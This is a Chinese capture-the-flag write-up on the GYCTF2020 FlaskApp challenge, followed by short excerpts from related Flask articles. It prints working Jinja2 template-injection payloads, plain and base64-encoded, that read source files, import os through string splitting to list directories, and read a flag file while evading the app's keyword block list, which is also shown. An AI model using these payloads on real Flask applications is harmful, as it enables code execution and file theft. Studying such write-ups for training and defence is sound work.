[GYCTF2020]FlaskApp

flask

hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。

base64decode在不会解析的时候就会报错。

由报错可以读到部分代码,如图。

关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route(‘/decode‘,methods=[‘POST‘,‘GET‘])
def decode():
    if request.values.get(‘text‘) :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for(‘decode‘))
        res =  render_template_string(tmp)

所以可以使用ssti注入。

因为直接cat flag发现是得不到目录的。

所以要思索一下他是不是过滤了什么。

读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘app.py‘,‘r‘).read() }}{% endif %}{% endfor %}

waf函数发现了过滤

原来是flag和os等被过滤。

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

利用字符串拼接找目录

发现了this_is_the_flag.txt

{{‘‘.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[‘__builtins__‘][‘__imp‘+‘ort__‘](‘o‘+‘s‘).listdir(‘/‘)}}

#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==

读取使用切片省去了拼接flag的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘txt.galf_eht_si_siht/‘[::-1],‘r‘).read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

原文地址:https://www.cnblogs.com/h3zh1/p/12694933.html

时间: 04-13

[GYCTF2020]FlaskApp的相关文章

flaskapp

前置知识 https://blog.csdn.net/u013457794/article/details/88997699?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task https://zhuanlan.zhihu.com/p/32336971 https://xz.aliyun.com/t/2553#toc-2 https://evi0s.com/

Python的Flask框架入门-Ubuntu

全文请见tuts code:An Introduction to Python's Flask Framework Flask是Python一个小而强大的web框架.学起来简单,用起来也容易,能够帮你在很短的时间内创建web应用. 这篇文章中,我们会创建一个简单的web应用,包含两个静态页面和少许动态内容.尽管Flask能够被用来创建大型的,数据库驱动的网站,但是作为开始,通过静态页面来介绍它的工作流程会更有帮助.在了解了流程之后,我们就可以做出更为复杂的页面.读完本文章,你应该能够用这里的步骤

Python学习笔记(4)--- Flask开发入门

首先给出Flask中文文档地址:http://docs.jinkan.org/docs/flask/ 1 web开发基础: 前端开发: html css JavaScript MVC设计模式: 视图 控制器 模型 http: 基于请求相应模式 无状态 请求方法: GET, POST, DELETE,PUT Flask应用的基本构成: # coding=utf-8 from flask import Flask  # 导入类 app = Flask(__name__)  # 实例化Flask实例

flask测试

run.py #导入falskapp实例,调用run方法来启动服务器 from app import flaskappflaskapp.run(debug=True) views.py #view是来响应来网页的浏览器的请求处理器.在flask视图是编写成python函数的,每一个函数可以映射一个或多个URL. from app import flaskappfrom flask import render_template,flash,redirectfrom .forms import Lo

Python编程(三):Python之MVC

很大程度上,web开发的模式演进路线和桌面UI的演进历史惊人的重合:最开始,CGI拼字符串:对应桌面程序的console界面时代.后来web开发开始MVC化,也基本上是借鉴桌面GUI开发时的数据库封装(Model),布局文件(View),业务逻辑(Control).后来web开发越来越注重用户的实时交互,从而变得富JavaScript化.个人感觉和桌面GUI库中的callback化很类似. web开发以后的趋势应该是"控件化",前后端的界限会变得模糊,可能会出现一套包含前后端的控件库.

python91个建议(记录在此)

建议1:理解pythonic的概念 python之禅 优美胜于丑陋(Python 以编写优美的代码为目标) 明了胜于晦涩(优美的代码应当是明了的,命名规范,风格相似) 简洁胜于复杂(优美的代码应当是简洁的,不要有复杂的内部实现) 复杂胜于凌乱(如果复杂不可避免,那代码间也不能有难懂的关系,要保持接口简洁) 扁平胜于嵌套(优美的代码应当是扁平的,不能有太多的嵌套) 间隔胜于紧凑(优美的代码有适当的间隔,不要奢望一行代码解决问题) 可读性很重要(优美的代码是可读的) 即便假借特例的实用性之名,也不可

Web服务精讲–搭个 Web 服务器(二)

导读 曾几何时,你所选择的 Python Web 框架会限制你所可选择的 Web 服务器,反之亦然.如果某个框架及服务器设计用来协同工作的,那么一切正常. 在第一部分中,我提出了一个问题:“如何在你刚刚搭建起来的 Web 服务器上适配 Django, Flask 或 Pyramid 应用,而不用单独对 Web 服务器做做出改动以适应各种不同的 Web 框架呢?”我们可以从这一篇中找到答案. 但你可能正面对着(或者曾经面对过)尝试将一对无法适配的框架和服务器搭配在一起的问题: 基本上,你需要选择那

Flask debug 模式 PIN 码生成机制安全性研究笔记

Flask debug 模式 PIN 码生成机制安全性研究笔记 0x00 前言 前几天我整理了一个笔记:Flask开启debug模式等于给黑客留了后门,就Flask在生产网络中开启debug模式可能产生的安全问题做了一个简要的分析.其中有一个比较严重的安全问题是,可以在交互式Python shell中执行自定义Python代码.就这一点来讲,在旧版本的Flask中是不需要输入PIN码认证就可以执行代码,其危害不言而喻. 在新版本的Flask中需要输入PIN码进行认证,才能执行自定义代码,于攻击者

flask第十篇——url_for【3】

继续url_for的知识点 # coding: utf-8 from flask import Flask, url_forimport flask app = Flask(__name__)  # type: Flaskapp.debug = True # 根目录@app.route('/')def hello_world():    return 'Hello World!' @app.route('/login/<page_id>/')def login(page_id):    ret

flask第十一篇——自定义url转换器

首先和大家说一下flask的组成,flask其实是werkzeug(路由和http处理)+SQLAlchemy(数据库)+Jinja2(模板)组成的,今天我们要看到的东西就是`werkzeug`里面的内容. 我们在代码里导入from werkzeug.routing import BaseConverter,然后进入BaseConverter中看一下这个方法的源码: 其中to_python方法的作用就是将你传过去的参数转换成对应类型的数据,比如你设置传参是uuid类型数据,那么当你传参以后,就会